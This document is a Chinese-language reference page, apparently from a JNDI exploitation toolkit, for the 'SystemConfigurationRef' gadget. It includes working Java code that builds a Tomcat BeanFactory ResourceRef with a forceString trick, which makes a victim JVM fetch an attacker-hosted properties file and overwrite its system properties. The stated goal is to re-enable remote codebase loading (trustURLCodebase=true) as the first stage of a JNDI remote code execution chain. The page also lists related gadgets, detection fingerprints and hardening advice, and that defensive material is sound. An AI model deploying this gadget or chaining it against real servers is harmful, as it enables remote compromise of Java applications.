- 类别:jndi 别名:— 优先级:—
- 作者:—
- 依赖:
tomcat、common-configuration(即 commons-configuration 1.x)
构造一个 Tomcat org.apache.naming.ResourceRef(JNDI Reference 的子类),把工厂设为 org.apache.naming.factory.BeanFactory、目标 Bean 设为 commons-configuration 1.x 的 org.apache.commons.configuration.SystemConfiguration。借助 Tomcat BeanFactory 的 forceString 机制,让受害端在 JNDI lookup 解析该 Reference 时实例化 SystemConfiguration 并调用其单 String 参方法 setSystemProperties(String fileName),从而把 url 指向的远程/本地 properties 文件中的所有键值写入受害 JVM 的 System properties。
它本身不直接 RCE,而是「篡改系统属性」的落地环节。最典型的用途是让受害端把 com.sun.jndi.ldap.object.trustURLCodebase=true 写进系统属性,重新打开 JDK 8u191+ 默认关闭的远程 codebase 加载开关,为后续「LDAP Reference 远程 codebase 加载工厂类」的经典 JNDI 注入铺路。
- 入口
tags:ResourceRef、TomcatBeanFactory—— 表示本 gadget 本身就是一个可被 JNDI/LDAP/RMI 入口返回、并由 TomcatBeanFactory处理的ResourceRef对象;上游若有nextTags指向这两个标签即可衔接到它(如 C3p0_C3p0Reference、MchangeC3p0Reference、DirContextJndi、XBean、RefWrap等产出Reference/ResourceRef的环节,或直接由恶意 LDAP/RMI 服务端返回)。 - 入口
tags:END—— 链尾(sink)。invoke不调用chain.doCreate,自身即可完成「篡改系统属性」的动作,无需更内层 gadget。 - 衔接
nextTags:无。 excludes:无。
@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
@GadgetAnnotation(name="configuration 修改系统属性",
description="factory: org.apache.naming.factory.BeanFactory\n通过BeanFactory调用单String方法:"
+ "org.apache.commons.configuration.SystemConfiguration#setSystemProperties(),实现修改系统属性\n"
+ "远程加载的文件内容为:com.sun.jndi.ldap.object.trustURLCodebase=true",
dependencies={"tomcat", "common-configuration"})
public class SystemConfigurationRef implements Gadget {
@Param(name="url链接", description="加载远程properties文件的http地址, eg: http://127.0.0.1/exp.properties,后缀不受限制")
public String url;
public Reference getObject() throws Exception {
ResourceRef ref = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add((RefAddr)new StringRefAddr("forceString", "x=setSystemProperties"));
ref.add((RefAddr)new StringRefAddr("x", this.url));
return ref;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}逐段解释:
new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null):ResourceRef构造的第 1 个参数是className(BeanFactory 将要实例化的类),第 6 个参数是factory。这里指定用 Tomcat 的BeanFactory去实例化一个 commons-configuration 1.x 的SystemConfiguration。第 5 个参数singleton=true表示解析出的对象可缓存。StringRefAddr("forceString", "x=setSystemProperties"):TomcatBeanFactory.getObjectInstance会读取名为forceString的 RefAddr,把「属性名 → 方法名」的映射强制改写:x=setSystemProperties意为「处理属性x时不走默认的setX(...),而是调用单String参方法setSystemProperties(String)」。这是绕过「BeanFactory 只调用 setter」限制、调用任意单String参方法的核心技巧(与 BeanshellRef 的a=eval、PropertiesConfigurationRef 的a=load,b=save同源)。StringRefAddr("x", this.url):为属性x提供值,即远程/本地 properties 文件地址。结合上一条forceString,最终等价于new SystemConfiguration().setSystemProperties(url)。SystemConfiguration#setSystemProperties(String fileName):commons-configuration 1.x 的该方法会以fileName(支持http://URL 或本地路径)构造一个PropertiesConfiguration并加载解析,随后把其中每一条key=value逐一System.setProperty(key, value)写入当前 JVM 的系统属性。因此攻击者远程 properties 文件里的每个键值都会被注入受害进程。invoke直接返回getObject(),不消费下游(chain.doCreate未调用),url为用户直填@Param。
触发条件:受害进程存在可控 JNDI lookup(LDAP/RMI 引用返回本 ResourceRef),且 classpath 同时具备 Tomcat naming(org.apache.naming.*)与 commons-configuration 1.x(包名 org.apache.commons.configuration)。因走本地 BeanFactory 实例化,此步骤自身不要求 trustURLCodebase=true——恰恰相反,它的目的往往是把该属性设成 true。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
url链接 | 远程 properties 文件的 http 地址,作为 setSystemProperties 的入参;文件内的每条键值都会被写入 System properties |
无 | http://127.0.0.1/exp.properties(后缀不受限制,也可为本地路径) |
- 依赖 Tomcat 的
org.apache.naming.factory.BeanFactory/ResourceRef与 commons-configuration 1.x 同时在目标 classpath;2.x(包名org.apache.commons.configuration2)请改用变体 SystemConfigurationRef2。 - 利用
forceString把「属性写入」转为「任意单 String 方法调用」,命中静态语义的setSystemProperties(通过实例调用同样成立)。 - 本地 factory 路线,本步骤不依赖远程 codebase 下载;其战略价值在于修改受害端系统属性,尤其把
com.sun.jndi.ldap.object.trustURLCodebase改为true,从而恢复 JDK 8u191+ / 6u211 / 7u201 之后被默认禁用的 JNDI 远程 codebase 加载,属于多步 JNDI 绕过中的「解锁」环节。 - 远程 properties 文件可写入任意系统属性,除
trustURLCodebase外亦可篡改代理、java.rmi.server.codebase、日志、加密等敏感配置,危害不限于 JNDI。 - 属性修改一经生效即对整个 JVM 全局可见并持久(进程存活期间),影响面大。
自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tags=ResourceRef/TomcatBeanFactory 由上游产出 Reference/ResourceRef 的 gadget 或恶意 JNDI 服务端衔接,作为 END 链尾使用;常与后续的「LDAP 远程 codebase 加载工厂类 RCE」分两阶段配合。
- 版本 / 语义变体(同目录
overwrite,均为forceString调用setSystemProperties/等价方法修改系统属性):- SystemConfigurationRef2:目标类换为 commons-configuration 2.x 的
org.apache.commons.configuration2.SystemConfiguration。 - SystemConfigurationRef3:目标类换为 Groovy 的
org.apache.groovy.util.SystemUtil,forceString为x=setSystemPropertyFrom,直填单条key=value(默认com.sun.jndi.ldap.object.trustURLCodebase=true)。
- SystemConfigurationRef2:目标类换为 commons-configuration 2.x 的
- 同族(Tomcat BeanFactory / JNDI Reference 本地 factory 路线):BeanshellRef、PropertiesConfigurationRef、MvelRef、GroovyShellRef、TomcatElRef、SnakeyamlRef、MletRef。
- 上游(
nextTags指向ResourceRef):C3p0_C3p0Reference、MchangeC3p0Reference、RefWrap、DirContextJndi、XBean(Hessian)等。
- 检测特征:
- JNDI/LDAP 流量或反序列化数据中出现
org.apache.naming.factory.BeanFactory、org.apache.naming.ResourceRef,且 RefAddr 含forceString键——这是 Tomcat BeanFactoryforceString利用的强指纹。 forceString值形如x=setSystemProperties、目标类名为org.apache.commons.configuration*.SystemConfiguration或org.apache.groovy.util.SystemUtil。- 受害端对外发起加载
.properties(或任意后缀)文件的可疑 HTTP 出站请求。 - 运行期
System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")被异常改为true。
- JNDI/LDAP 流量或反序列化数据中出现
- 加固建议:
- 从源头消除可控 JNDI lookup;对 JNDI 名称做严格白名单,禁止解析不可信的
Reference。 - 保持 JDK 版本 ≥ 8u191 并不要依赖运行时属性——可在启动参数中显式固定
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false,并监控该属性是否被篡改。 - 若业务无需,移除/隔离 classpath 中的 Tomcat naming(
org.apache.naming.*)与 commons-configuration,阻断 BeanFactoryforceString落地。 - 用 SecurityManager / 反序列化黑白名单拦截
ResourceRef、BeanFactory相关类的实例化。
- 从源头消除可控 JNDI lookup;对 JNDI 名称做严格白名单,禁止解析不可信的